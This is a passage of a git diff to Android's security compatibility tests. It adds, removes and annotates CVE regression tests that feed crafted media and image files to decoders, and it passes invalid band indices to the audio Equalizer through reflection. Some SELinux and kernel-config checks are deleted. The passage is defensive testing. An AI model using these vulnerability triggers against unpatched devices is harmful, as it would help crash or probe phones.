+     * we attempted to allocate space for all the encoded data at once, resulting in OOM.
+     */
+    public void test_android_bug_33251605() {
+        InputStream exploitImage = mContext.getResources().openRawResource(R.raw.bug_33251605);
+        Bitmap bitmap = BitmapFactory.decodeStream(exploitImage);
+    }
+}
diff --git a/tests/tests/security/src/android/security/cts/CryptoProviderWorkaroundTest.java b/tests/tests/security/src/android/security/cts/CryptoProviderWorkaroundTest.java
new file mode 100644
index 0000000..861c443
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/CryptoProviderWorkaroundTest.java
@@ -0,0 +1,90 @@
+/*
+ * Copyright 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.fail;
+
+import dalvik.system.VMRuntime;
+import java.security.NoSuchProviderException;
+import java.security.SecureRandom;
+import java.security.Security;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.JUnit4;
+
+/**
+ * http://b/28550092 : Removal of "Crypto" provider in N caused application compatibility
+ * issues for callers of SecureRandom. To improve compatibility the provider is not registered
+ * as a JCA Provider obtainable via Security.getProvider() but is made available for
+ * SecureRandom.getInstance() iff the application targets API <= 23.
+ */
+@RunWith(JUnit4.class)
+public class CryptoProviderWorkaroundTest {
+    @Test
+    public void cryptoProvider_withWorkaround_Success() throws Exception {
+        // Assert that SecureRandom is still using the default value. Sanity check.
+        assertEquals(SecureRandom.DEFAULT_SDK_TARGET_FOR_CRYPTO_PROVIDER_WORKAROUND,
+                SecureRandom.getSdkTargetForCryptoProviderWorkaround());
+
+        try {
+            // Modify the maximum target SDK to apply the workaround, thereby enabling the
+            // workaround for the current SDK and enabling it to be tested.
+            SecureRandom.setSdkTargetForCryptoProviderWorkaround(
+                    VMRuntime.getRuntime().getTargetSdkVersion());
+
+            // Assert that the crypto provider is not installed...
+            assertNull(Security.getProvider("Crypto"));
+            SecureRandom sr = SecureRandom.getInstance("SHA1PRNG", "Crypto");
+            assertNotNull(sr);
+            // ...but we can get a SecureRandom from it...
+            assertEquals("org.apache.harmony.security.provider.crypto.CryptoProvider",
+                    sr.getProvider().getClass().getName());
+            // ...yet it's not installed. So the workaround worked.
+            assertNull(Security.getProvider("Crypto"));
+        } finally {
+            // Reset the target SDK for the workaround to the default / real value.
+            SecureRandom.setSdkTargetForCryptoProviderWorkaround(
+                    SecureRandom.DEFAULT_SDK_TARGET_FOR_CRYPTO_PROVIDER_WORKAROUND);
+        }
+    }
+
+    @Test
+    public void cryptoProvider_withoutWorkaround_Failure() throws Exception {
+        // Assert that SecureRandom is still using the default value. Sanity check.
+        assertEquals(SecureRandom.DEFAULT_SDK_TARGET_FOR_CRYPTO_PROVIDER_WORKAROUND,
+                SecureRandom.getSdkTargetForCryptoProviderWorkaround());
+
+        try {
+            // We set the limit SDK for the workaround at the previous one, indicating that the
+            // workaround shouldn't be in place.
+            SecureRandom.setSdkTargetForCryptoProviderWorkaround(
+                    VMRuntime.getRuntime().getTargetSdkVersion() - 1);
+
+            SecureRandom sr = SecureRandom.getInstance("SHA1PRNG", "Crypto");
+            fail("Should throw " + NoSuchProviderException.class.getName());
+        } catch(NoSuchProviderException expected) {
+            // The workaround doesn't work. As expected.
+        } finally {
+            // Reset the target SDK for the workaround to the default / real value.
+            SecureRandom.setSdkTargetForCryptoProviderWorkaround(
+                    SecureRandom.DEFAULT_SDK_TARGET_FOR_CRYPTO_PROVIDER_WORKAROUND);
+        }
+    }
+}
diff --git a/tests/tests/security/src/android/security/cts/DecodeTest.java b/tests/tests/security/src/android/security/cts/DecodeTest.java
deleted file mode 100644
index e64e37a..0000000
--- a/tests/tests/security/src/android/security/cts/DecodeTest.java
+++ /dev/null
@@ -1,41 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.security.cts;
-
-import android.graphics.Bitmap;
-import android.graphics.BitmapFactory;
-import android.platform.test.annotations.SecurityTest;
-import android.test.AndroidTestCase;
-
-import java.io.InputStream;
-
-import android.security.cts.R;
-
-public class DecodeTest extends AndroidTestCase {
-    /**
-     * Verifies that the device fails to decode a large, corrupt BMP.
-     *
-     * Prior to fixing bug 34778578, decoding this file would crash. Instead, it should fail to
-     * decode.
-     */
-    @SecurityTest
-    public void test_android_bug_34778578() {
-        InputStream exploitImage = mContext.getResources().openRawResource(R.raw.bug_34778578);
-        Bitmap bitmap = BitmapFactory.decodeStream(exploitImage);
-        assertNull(bitmap);
-    }
-}
diff --git a/tests/tests/security/src/android/security/cts/EffectBundleTest.java b/tests/tests/security/src/android/security/cts/EffectBundleTest.java
new file mode 100644
index 0000000..c844fbb
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/EffectBundleTest.java
@@ -0,0 +1,339 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.media.audiofx.AudioEffect;
+import android.media.audiofx.Equalizer;
+import android.media.MediaPlayer;
+import android.test.InstrumentationTestCase;
+import android.util.Log;
+
+import java.nio.ByteBuffer;
+import java.nio.ByteOrder;
+import java.nio.charset.StandardCharsets;
+import java.util.Arrays;
+
+public class EffectBundleTest extends InstrumentationTestCase {
+    private static final String TAG = "EffectBundleTest";
+    private static final int[] INVALID_BAND_ARRAY = {Integer.MIN_VALUE, -10000, -100, -2, -1};
+    private static final int mValue0 = 9999; //unlikely values. Should not change
+    private static final int mValue1 = 13877;
+    private static final int PRESET_CUSTOM = -1; //keep in sync AudioEqualizer.h
+
+    private static final int MEDIA_SHORT = 0;
+    private static final int MEDIA_LONG = 1;
+
+    //Testing security bug: 32436341
+    public void testEqualizer_getParamCenterFreq() throws Exception {
+        testGetParam(MEDIA_SHORT, Equalizer.PARAM_CENTER_FREQ, INVALID_BAND_ARRAY, mValue0,
+                mValue1);
+    }
+
+    //Testing security bug: 32588352
+    public void testEqualizer_getParamCenterFreq_long() throws Exception {
+        testGetParam(MEDIA_LONG, Equalizer.PARAM_CENTER_FREQ, INVALID_BAND_ARRAY, mValue0, mValue1);
+    }
+
+    //Testing security bug: 32438598
+    public void testEqualizer_getParamBandLevel() throws Exception {
+        testGetParam(MEDIA_SHORT, Equalizer.PARAM_BAND_LEVEL, INVALID_BAND_ARRAY, mValue0, mValue1);
+    }
+
+    //Testing security bug: 32584034
+    public void testEqualizer_getParamBandLevel_long() throws Exception {
+        testGetParam(MEDIA_LONG, Equalizer.PARAM_BAND_LEVEL, INVALID_BAND_ARRAY, mValue0, mValue1);
+    }
+
+    //Testing security bug: 32247948
+    public void testEqualizer_getParamFreqRange() throws Exception {
+        testGetParam(MEDIA_SHORT, Equalizer.PARAM_BAND_FREQ_RANGE, INVALID_BAND_ARRAY, mValue0,
+                mValue1);
+    }
+
+    //Testing security bug: 32588756
+    public void testEqualizer_getParamFreqRange_long() throws Exception {
+        testGetParam(MEDIA_LONG, Equalizer.PARAM_BAND_FREQ_RANGE, INVALID_BAND_ARRAY, mValue0,
+                mValue1);
+    }
+
+    //Testing security bug: 32448258
+    public void testEqualizer_getParamPresetName() throws Exception {
+        testParamPresetName(MEDIA_SHORT);
+    }
+
+    //Testing security bug: 32588016
+    public void testEqualizer_getParamPresetName_long() throws Exception {
+        testParamPresetName(MEDIA_LONG);
+    }
+
+    private void testParamPresetName(int media) {
+        final int command = Equalizer.PARAM_GET_PRESET_NAME;
+        for (int invalidBand : INVALID_BAND_ARRAY)
+        {
+            final byte testValue = 7;
+            byte reply[] = new byte[Equalizer.PARAM_STRING_SIZE_MAX];
+            Arrays.fill(reply, testValue);
+            if (!eqGetParam(media, command, invalidBand, reply)) {
+                fail("getParam PARAM_GET_PRESET_NAME did not complete successfully");
+            }
+            //Compare
+            if (invalidBand == PRESET_CUSTOM) {
+                final String expectedName = "Custom";
+                int length = 0;
+                while (reply[length] != 0) length++;
+                try {
+                    final String presetName =  new String(reply, 0, length,
+                            StandardCharsets.ISO_8859_1.name());
+                    assertEquals("getPresetName custom preset name failed", expectedName,
+                            presetName);
+                } catch (Exception e) {
+                    Log.w(TAG,"Problem creating reply string.");
+                }
+            } else {
+                for (int i = 0; i < reply.length; i++) {
+                    assertEquals(String.format("getParam should not change reply at byte %d", i),
+                            testValue, reply[i]);
+                }
+            }
+        }
+    }
+
+    //testing security bug: 32095626
+    public void testEqualizer_setParamBandLevel() throws Exception {
+        final int command = Equalizer.PARAM_BAND_LEVEL;
+        short[] value = { 1000 };
+        for (int invalidBand : INVALID_BAND_ARRAY)
+        {
+            if (!eqSetParam(MEDIA_SHORT, command, invalidBand, value)) {
+                fail("setParam PARAM_BAND_LEVEL did not complete successfully");
+            }
+        }
+    }
+
+    //testing security bug: 32585400
+    public void testEqualizer_setParamBandLevel_long() throws Exception {
+        final int command = Equalizer.PARAM_BAND_LEVEL;
+        short[] value = { 1000 };
+        for (int invalidBand : INVALID_BAND_ARRAY)
+        {
+            if (!eqSetParam(MEDIA_LONG, command, invalidBand, value)) {
+                fail("setParam PARAM_BAND_LEVEL did not complete successfully");
+            }
+        }
+    }
+
+    //testing security bug: 32705438
+    public void testEqualizer_getParamFreqRangeCommand_short() throws Exception {
+        assertTrue("testEqualizer_getParamFreqRangeCommand_short did not complete successfully",
+                eqGetParamFreqRangeCommand(MEDIA_SHORT));
+    }
+
+    //testing security bug: 32703959
+    public void testEqualizer_getParamFreqRangeCommand_long() throws Exception {
+        assertTrue("testEqualizer_getParamFreqRangeCommand_long did not complete successfully",
+                eqGetParamFreqRangeCommand(MEDIA_LONG));
+    }
+
+    private boolean eqGetParamFreqRangeCommand(int media) {
+        MediaPlayer mp = null;
+        Equalizer eq = null;
+        boolean status = false;
+        try {
+            mp = MediaPlayer.create(getInstrumentation().getContext(), getMediaId(media));
+            eq = new Equalizer(0 /*priority*/, mp.getAudioSessionId());
+
+            short band = 2;
+            int intSize = 4; //bytes
+
+            //baseline
+            int cmdCode = 8; // EFFECT_CMD_GET_PARAM
+            byte command[] = concatArrays(/*status*/ intToByteArray(0),
+                    /*psize*/ intToByteArray(2 * intSize),
+                    /*vsize*/ intToByteArray(2 * intSize),
+                    /*data[0]*/ intToByteArray(Equalizer.PARAM_BAND_FREQ_RANGE),
+                    /*data[1]*/ intToByteArray((int) band));
+
+            byte reply[] = new byte[command.length];
+
+            AudioEffect af = eq;
+            Object o = AudioEffect.class.getDeclaredMethod("command", int.class, byte[].class,
+                    byte[].class).invoke(af, cmdCode, command, reply);
+
+            int methodStatus = AudioEffect.ERROR;
+            if (o != null) {
+                methodStatus = Integer.valueOf(o.toString()).intValue();
+            }
+
+            assertTrue("Command expected to fail", methodStatus <= 0);
+            int sum = 0;
+            for (int i = 0; i < reply.length; i++) {
+                sum += Math.abs(reply[i]);
+            }
+
+            assertEquals("reply expected to be all zeros", sum, 0);
+            status = true;
+        } catch (Exception e) {
+            Log.w(TAG,"Problem testing eqGetParamFreqRangeCommand");
+            status = false;
+        } finally {
+            if (eq != null) {
+                eq.release();
+            }
+            if (mp != null) {
+                mp.release();
+            }
+        }
+        return status;
+    }
+
+    private boolean eqGetParam(int media, int command, int band, byte[] reply) {
+        MediaPlayer mp = null;
+        Equalizer eq = null;
+        boolean status = false;
+        try {
+            mp = MediaPlayer.create(getInstrumentation().getContext(), getMediaId(media));
+            eq = new Equalizer(0 /*priority*/, mp.getAudioSessionId());
+
+            AudioEffect af = eq;
+            int cmd[] = {command, band};
+
+            AudioEffect.class.getDeclaredMethod("getParameter", int[].class,
+                    byte[].class).invoke(af, cmd, reply);
+            status = true;
+        } catch (Exception e) {
+            Log.w(TAG,"Problem testing equalizer");
+            status = false;
+        } finally {
+            if (eq != null) {
+                eq.release();
+            }
+            if (mp != null) {
+                mp.release();
+            }
+        }
+        return status;
+    }
+
+    private boolean eqGetParam(int media, int command, int band, int[] reply) {
+        MediaPlayer mp = null;
+        Equalizer eq = null;
+        boolean status = false;
+        try {
+            mp = MediaPlayer.create(getInstrumentation().getContext(), getMediaId(media));
+            eq = new Equalizer(0 /*priority*/, mp.getAudioSessionId());
+
+            AudioEffect af = eq;
+            int cmd[] = {command, band};
+
+            AudioEffect.class.getDeclaredMethod("getParameter", int[].class,
+                    int[].class).invoke(af, cmd, reply);
+            status = true;
+        } catch (Exception e) {
+            Log.w(TAG,"Problem getting parameter from equalizer");
+            status = false;
+        } finally {
+            if (eq != null) {
+                eq.release();
+            }
+            if (mp != null) {
+                mp.release();
+            }
+        }
+        return status;
+    }
+
+    private void testGetParam(int media, int command, int[] bandArray, int value0, int value1) {
+        int reply[] = {value0, value1};
+        for (int invalidBand : INVALID_BAND_ARRAY)
+        {
+            if (!eqGetParam(media, command, invalidBand, reply)) {
+                fail(String.format("getParam for command %d did not complete successfully",
+                        command));
+            }
+            assertEquals("getParam should not change value0", value0, reply[0]);
+            assertEquals("getParam should not change value1", value1, reply[1]);
+        }
+    }
+
+    private boolean eqSetParam(int media, int command, int band, short[] value) {
+        MediaPlayer mp = null;
+        Equalizer eq = null;
+        boolean status = false;
+        try {
+            mp = MediaPlayer.create(getInstrumentation().getContext(),  getMediaId(media));
+            eq = new Equalizer(0 /*priority*/, mp.getAudioSessionId());
+
+            AudioEffect af = eq;
+            int cmd[] = {command, band};
+
+            AudioEffect.class.getDeclaredMethod("setParameter", int[].class,
+                    short[].class).invoke(af, cmd, value);
+            status = true;
+        } catch (Exception e) {
+            Log.w(TAG,"Problem setting parameter in equalizer");
+            status = false;
+        } finally {
+            if (eq != null) {
+                eq.release();
+            }
+            if (mp != null) {
+                mp.release();
+            }
+        }
+        return status;
+    }
+
+    private int getMediaId(int media) {
+        switch (media) {
+            default:
+            case MEDIA_SHORT:
+                return R.raw.good;
+            case MEDIA_LONG:
+                return R.raw.onekhzsine_90sec;
+        }
+    }
+
+    private static byte[] intToByteArray(int value) {
+        ByteBuffer converter = ByteBuffer.allocate(4);
+        converter.order(ByteOrder.nativeOrder());
+        converter.putInt(value);
+        return converter.array();
+    }
+
+    private static byte[] shortToByteArray(short value) {
+        ByteBuffer converter = ByteBuffer.allocate(2);
+        converter.order(ByteOrder.nativeOrder());
+        short sValue = (short) value;
+        converter.putShort(sValue);
+        return converter.array();
+    }
+
+    private static  byte[] concatArrays(byte[]... arrays) {
+        int len = 0;
+        for (byte[] a : arrays) {
+            len += a.length;
+        }
+        byte[] b = new byte[len];
+
+        int offs = 0;
+        for (byte[] a : arrays) {
+            System.arraycopy(a, 0, b, offs, a.length);
+            offs += a.length;
+        }
+        return b;
+    }
+}
diff --git a/tests/tests/security/src/android/security/cts/EncryptionTest.java b/tests/tests/security/src/android/security/cts/EncryptionTest.java
index 85d82e2..1a49d7f 100644
--- a/tests/tests/security/src/android/security/cts/EncryptionTest.java
+++ b/tests/tests/security/src/android/security/cts/EncryptionTest.java
@@ -39,37 +39,10 @@
 
     private static final String TAG = "EncryptionTest";
 
-    private static final String crypto = "/proc/crypto";
-
     private static native boolean deviceIsEncrypted();
 
-    private static native boolean cpuHasAes();
-
-    private static native boolean cpuHasNeon();
-
-    private static native boolean neonIsEnabled();
-
     private static native boolean aesIsFast();
 
-    private boolean hasKernelCrypto(String driver) throws Exception {
-        BufferedReader br = new BufferedReader(new FileReader(crypto));
-        Pattern p = Pattern.compile("driver\\s*:\\s*" + driver);
-
-        try {
-            String line;
-            while ((line = br.readLine()) != null) {
-                if (p.matcher(line).matches()) {
-                    Log.i(TAG, crypto + " has " + driver + " (" + line + ")");
-                    return true;
-                }
-            }
-       } finally {
-           br.close();
-       }
-
-       return false;
-    }
-
     private boolean hasLowRAM() {
         ActivityManager activityManager =
             (ActivityManager) getContext().getSystemService(Context.ACTIVITY_SERVICE);
@@ -82,29 +55,6 @@
         return PropertyUtil.getFirstApiLevel() >= MIN_API_LEVEL && !hasLowRAM();
     }
 
-    public void testConfig() throws Exception {
-        if (!isRequired()) {
-            return;
-        }
-
-        if (cpuHasAes()) {
-            // If CPU has AES CE, it must be enabled in kernel
-            assertTrue(crypto + " is missing xts-aes-ce or xts-aes-aesni",
-                hasKernelCrypto("xts-aes-ce") ||
-                hasKernelCrypto("xts-aes-aesni"));
-        } else if (cpuHasNeon()) {
-            // Otherwise, if CPU has NEON, it must be enabled
-            assertTrue(crypto + " is missing xts-aes-neon (or xts-aes-neonbs)",
-                hasKernelCrypto("xts-aes-neon") ||
-                hasKernelCrypto("xts-aes-neonbs") ||
-                hasKernelCrypto("aes-asm")); // Not recommended alone
-        }
-
-        if (cpuHasNeon()) {
-            assertTrue("libcrypto must have NEON", neonIsEnabled());
-        }
-    }
-
     public void testEncryption() throws Exception {
         if (!isRequired() || deviceIsEncrypted()) {
             return;
diff --git a/tests/tests/security/src/android/security/cts/KernelSettingsTest.java b/tests/tests/security/src/android/security/cts/KernelSettingsTest.java
index 9925e9d..4d30a58 100644
--- a/tests/tests/security/src/android/security/cts/KernelSettingsTest.java
+++ b/tests/tests/security/src/android/security/cts/KernelSettingsTest.java
@@ -35,17 +35,6 @@
     }
 
     /**
-     * Ensure that SELinux is in enforcing mode.
-     */
-    public void testSELinuxEnforcing() throws IOException {
-        try {
-            assertEquals("1", getFile("/sys/fs/selinux/enforce"));
-        } catch (FileNotFoundException e) {
-            fail("SELinux is not compiled into this kernel, or is disabled.");
-        }
-    }
-
-    /**
      * Protect against kernel based NULL pointer attacks by enforcing a
      * minimum (and maximum!) value of mmap_min_addr.
      *
@@ -86,19 +75,6 @@
     }
 
     /**
-     * Assert that the kernel config file is not compiled into the kernel.
-     *
-     * Compiling the config file into the kernel leaks the kernel base address
-     * via CONFIG_PHYS_OFFSET. It also wastes a small amount of valuable kernel memory.
-     */
-    public void testNoConfigGz() throws IOException {
-        assertFalse(
-                "/proc/config.gz is readable.  Please recompile your "
-                        + "kernel with CONFIG_IKCONFIG_PROC disabled",
-                new File("/proc/config.gz").exists());
-    }
-
-    /**
      * Verify that ext4 extended attributes (xattrs) are enabled in the
      * Linux kernel.
      *
diff --git a/tests/tests/security/src/android/security/cts/NativeCodeTest.java b/tests/tests/security/src/android/security/cts/NativeCodeTest.java
index 5fa698e..eb162fb 100644
--- a/tests/tests/security/src/android/security/cts/NativeCodeTest.java
+++ b/tests/tests/security/src/android/security/cts/NativeCodeTest.java
@@ -16,6 +16,8 @@
 
 package android.security.cts;
 
+import android.platform.test.annotations.SecurityTest;
+
 import junit.framework.TestCase;
 
 public class NativeCodeTest extends TestCase {
@@ -24,6 +26,7 @@
         System.loadLibrary("ctssecurity_jni");
     }
 
+    @SecurityTest
     public void testVroot() throws Exception {
         assertTrue("Device is vulnerable to CVE-2013-6282. Please apply security patch at "
                    + "https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/"
@@ -31,6 +34,7 @@
                    + "8404663f81d212918ff85f493649a7991209fa04", doVrootTest());
     }
 
+    @SecurityTest
     public void testPerfEvent() throws Exception {
         assertFalse("Device is vulnerable to CVE-2013-2094. Please apply security patch "
                     + "at http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/"
@@ -38,10 +42,12 @@
                     doPerfEventTest());
     }
 
+    @SecurityTest
     public void testPerfEvent2() throws Exception {
         assertTrue(doPerfEventTest2());
     }
 
+    @SecurityTest
     public void testFutex() throws Exception {
         assertTrue("Device is vulnerable to CVE-2014-3153, a vulnerability in the futex() system "
                    + "call. Please apply the security patch at "
@@ -50,6 +56,7 @@
                    doFutexTest());
     }
 
+    @SecurityTest
     public void testNvmapIocFromId() throws Exception {
         assertTrue("Device is vulnerable to CVE-2014-5332. "
                    + "NVIDIA has released code fixes to upstream repositories and device vendors. "
@@ -58,6 +65,7 @@
                    doNvmapIocFromIdTest());
     }
 
+    @SecurityTest
     public void testPingPongRoot() throws Exception {
         assertTrue("Device is vulnerable to CVE-2015-3636, a vulnerability in the ping "
                    + "socket implementation. Please apply the security patch at "
@@ -65,6 +73,7 @@
                    doPingPongRootTest());
     }
 
+    @SecurityTest
     public void testPipeReadV() throws Exception {
         assertTrue("Device is vulnerable to CVE-2015-1805 and/or CVE-2016-0774,"
                    + " a vulnerability in the pipe_read() function."
@@ -74,6 +83,7 @@
                    doPipeReadVTest());
     }
 
+    @SecurityTest
     public void testSysVipc() throws Exception {
         assertTrue("Android does not support Sys V IPC, it must "
                    + "be removed from the kernel. In the kernel config: "
@@ -114,6 +124,7 @@
      */
     private static native boolean doVrootTest();
 
+    @SecurityTest
     public void testCVE20141710() throws Exception {
         assertTrue("Device is vulnerable to CVE-2014-1710", doCVE20141710Test());
     }
diff --git a/tests/tests/security/src/android/security/cts/PackageSignatureTest.java b/tests/tests/security/src/android/security/cts/PackageSignatureTest.java
index c63cb66..e29cbdb 100644
--- a/tests/tests/security/src/android/security/cts/PackageSignatureTest.java
+++ b/tests/tests/security/src/android/security/cts/PackageSignatureTest.java
@@ -94,9 +94,6 @@
             // APK for an activity that collects information printed in the CTS report header
             "android.tests.devicesetup",
 
-            // APK for the Android core tests runner used only during CTS
-            "android.core.tests.runner",
-
             // Wifi test utility used by Tradefed...
             "com.android.tradefed.utils.wifi",
 
diff --git a/tests/tests/security/src/android/security/cts/StagefrightTest.java b/tests/tests/security/src/android/security/cts/StagefrightTest.java
index d0adf9a..adca5a9 100644
--- a/tests/tests/security/src/android/security/cts/StagefrightTest.java
+++ b/tests/tests/security/src/android/security/cts/StagefrightTest.java
@@ -39,15 +39,14 @@
 import android.opengl.GLES11Ext;
 import android.os.Looper;
 import android.os.SystemClock;
+import android.platform.test.annotations.SecurityTest;
 import android.test.InstrumentationTestCase;
 import android.util.Log;
 import android.view.Surface;
-import android.webkit.cts.CtsTestServer;
 
 import java.io.IOException;
 import java.nio.ByteBuffer;
 import java.util.ArrayList;
-import java.util.HashMap;
 import java.util.concurrent.locks.Condition;
 import java.util.concurrent.locks.ReentrantLock;
 
@@ -71,105 +70,104 @@
      before any existing test methods
      ***********************************************************/
 
-    public void testStagefright_bug_23270724() throws Exception {
-        doStagefrightTest(R.raw.bug_23270724_1);
-        doStagefrightTest(R.raw.bug_23270724_2);
-    }
-
-    public void testStagefright_bug_22771132() throws Exception {
-        doStagefrightTest(R.raw.bug_22771132);
-    }
-
-    public void testStagefright_bug_21443020() throws Exception {
-        doStagefrightTest(R.raw.bug_21443020_webm);
-    }
-
-    public void testStagefright_bug_34360591() throws Exception {
-        doStagefrightTest(R.raw.bug_34360591);
-    }
-
-    public void testStagefright_bug_35763994() throws Exception {
-        doStagefrightTest(R.raw.bug_35763994);
-    }
-
+    @SecurityTest
     public void testStagefright_bug_33137046() throws Exception {
         doStagefrightTest(R.raw.bug_33137046);
     }
 
+    @SecurityTest
     public void testStagefright_cve_2016_2507() throws Exception {
         doStagefrightTest(R.raw.cve_2016_2507);
     }
 
+    @SecurityTest
     public void testStagefright_bug_31647370() throws Exception {
         doStagefrightTest(R.raw.bug_31647370);
     }
 
+    @SecurityTest
     public void testStagefright_bug_32577290() throws Exception {
         doStagefrightTest(R.raw.bug_32577290);
     }
 
+    @SecurityTest
     public void testStagefright_cve_2015_1538_1() throws Exception {
         doStagefrightTest(R.raw.cve_2015_1538_1);
     }
 
+    @SecurityTest
     public void testStagefright_cve_2015_1538_2() throws Exception {
         doStagefrightTest(R.raw.cve_2015_1538_2);
     }
 
+    @SecurityTest
     public void testStagefright_cve_2015_1538_3() throws Exception {
         doStagefrightTest(R.raw.cve_2015_1538_3);
     }
 
+    @SecurityTest
     public void testStagefright_cve_2015_1538_4() throws Exception {
         doStagefrightTest(R.raw.cve_2015_1538_4);
     }
 
+    @SecurityTest
     public void testStagefright_cve_2015_1539() throws Exception {
         doStagefrightTest(R.raw.cve_2015_1539);
     }
 
+    @SecurityTest
     public void testStagefright_cve_2015_3824() throws Exception {
         doStagefrightTest(R.raw.cve_2015_3824);
     }
 
+    @SecurityTest
     public void testStagefright_cve_2015_3826() throws Exception {
         doStagefrightTest(R.raw.cve_2015_3826);
     }
 
+    @SecurityTest
     public void testStagefright_cve_2015_3827() throws Exception {
         doStagefrightTest(R.raw.cve_2015_3827);
     }
 
+    @SecurityTest
     public void testStagefright_cve_2015_3828() throws Exception {
         doStagefrightTest(R.raw.cve_2015_3828);
     }
 
+    @SecurityTest
     public void testStagefright_cve_2015_3829() throws Exception {
         doStagefrightTest(R.raw.cve_2015_3829);
     }
 
+    @SecurityTest
     public void testStagefright_cve_2015_3836() throws Exception {
         doStagefrightTest(R.raw.cve_2015_3836);
     }
 
+    @SecurityTest
     public void testStagefright_cve_2015_3864() throws Exception {
         doStagefrightTest(R.raw.cve_2015_3864);
     }
 
+    @SecurityTest
     public void testStagefright_cve_2015_3864_b23034759() throws Exception {
         doStagefrightTest(R.raw.cve_2015_3864_b23034759);
     }
 
+    @SecurityTest
     public void testStagefright_cve_2015_6598() throws Exception {
         doStagefrightTest(R.raw.cve_2015_6598);
     }
 
-    public void testStagefright_bug_26366256() throws Exception {
-        doStagefrightTest(R.raw.bug_26366256);
+    @SecurityTest
+    public void testStagefright_bug_32873375() throws Exception {
+        doStagefrightTest(R.raw.bug_32873375);
     }
 
-    public void testStagefright_cve_2016_2429_b_27211885() throws Exception {
-        doStagefrightTest(R.raw.cve_2016_2429_b_27211885);
+    @SecurityTest
+    public void testStagefright_bug_26366256() throws Exception {
+        doStagefrightTest(R.raw.bug_26366256);
     }
 
     /***********************************************************
@@ -177,50 +175,57 @@
      before any existing test methods
      ***********************************************************/
 
-    public void testStagefright_bug_32873375() throws Exception {
-        doStagefrightTest(R.raw.bug_32873375);
-    }
-
+    @SecurityTest
     public void testStagefright_bug_33818508() throws Exception {
         doStagefrightTest(R.raw.bug_33818508);
     }
 
+    @SecurityTest
     public void testStagefright_bug_25765591() throws Exception {
         doStagefrightTest(R.raw.bug_25765591);
     }
 
+    @SecurityTest
     public void testStagefright_cve_2015_3867() throws Exception {
         doStagefrightTest(R.raw.cve_2015_3867);
     }
 
+    @SecurityTest
     public void testStagefright_cve_2015_3869() throws Exception {
         doStagefrightTest(R.raw.cve_2015_3869);
     }
 
+    @SecurityTest
     public void testStagefright_bug_32322258() throws Exception {
         doStagefrightTest(R.raw.bug_32322258);
     }
 
+    @SecurityTest
     public void testStagefright_cve_2015_3873_b_23248776() throws Exception {
         doStagefrightTest(R.raw.cve_2015_3873_b_23248776);
     }
 
+    @SecurityTest
     public void testStagefright_cve_2015_3873_b_20718524() throws Exception {
         doStagefrightTest(R.raw.cve_2015_3873_b_20718524);
     }
 
+    @SecurityTest
     public void testStagefright_cve_2015_3862_b_22954006() throws Exception {
         doStagefrightTest(R.raw.cve_2015_3862_b_22954006);
     }
 
+    @SecurityTest
     public void testStagefright_cve_2015_3867_b_23213430() throws Exception {
         doStagefrightTest(R.raw.cve_2015_3867_b_23213430);
     }
 
+    @SecurityTest
     public void testStagefright_cve_2015_3873_b_21814993() throws Exception {
         doStagefrightTest(R.raw.cve_2015_3873_b_21814993);
     }
 
+    @SecurityTest
     public void testStagefright_bug_25812590() throws Exception {
         doStagefrightTest(R.raw.bug_25812590);
     }
@@ -241,6 +246,7 @@
         doStagefrightTest(R.raw.cve_2015_3871);
     }
 
+    @SecurityTest
     public void testStagefright_bug_26070014() throws Exception {
         doStagefrightTest(R.raw.bug_26070014);
     }
@@ -249,58 +255,45 @@
         doStagefrightTest(R.raw.bug_32915871);
     }
 
+    @SecurityTest
     public void testStagefright_cve_2015_6608_b_23680780() throws Exception {
         doStagefrightTest(R.raw.cve_2015_6608_b_23680780);
     }
 
+    @SecurityTest
     public void testStagefright_bug_28333006() throws Exception {
         doStagefrightTest(R.raw.bug_28333006);
     }
 
+    @SecurityTest
     public void testStagefright_bug_14388161() throws Exception {
         doStagefrightTestMediaPlayer(R.raw.bug_14388161);
     }
 
+    @SecurityTest
     public void testStagefright_cve_2016_3755() throws Exception {
         doStagefrightTest(R.raw.cve_2016_3755);
     }
 
+    @SecurityTest
     public void testStagefright_cve_2016_3878_b_29493002() throws Exception {
         doStagefrightTest(R.raw.cve_2016_3878_b_29493002);
     }
 
+    @SecurityTest
     public void testStagefright_bug_27855419_CVE_2016_2463() throws Exception {
         doStagefrightTest(R.raw.bug_27855419);
     }
 
-    /***********************************************************
-     to prevent merge conflicts, add N tests below this comment,
-     before any existing test methods
-     ***********************************************************/
-
-    public void testStagefright_bug_35467107() throws Exception {
-        doStagefrightTest(R.raw.bug_35467107);
-    }
-
-    public void testStagefright_bug_34031018() throws Exception {
-        doStagefrightTest(R.raw.bug_34031018_32bit);
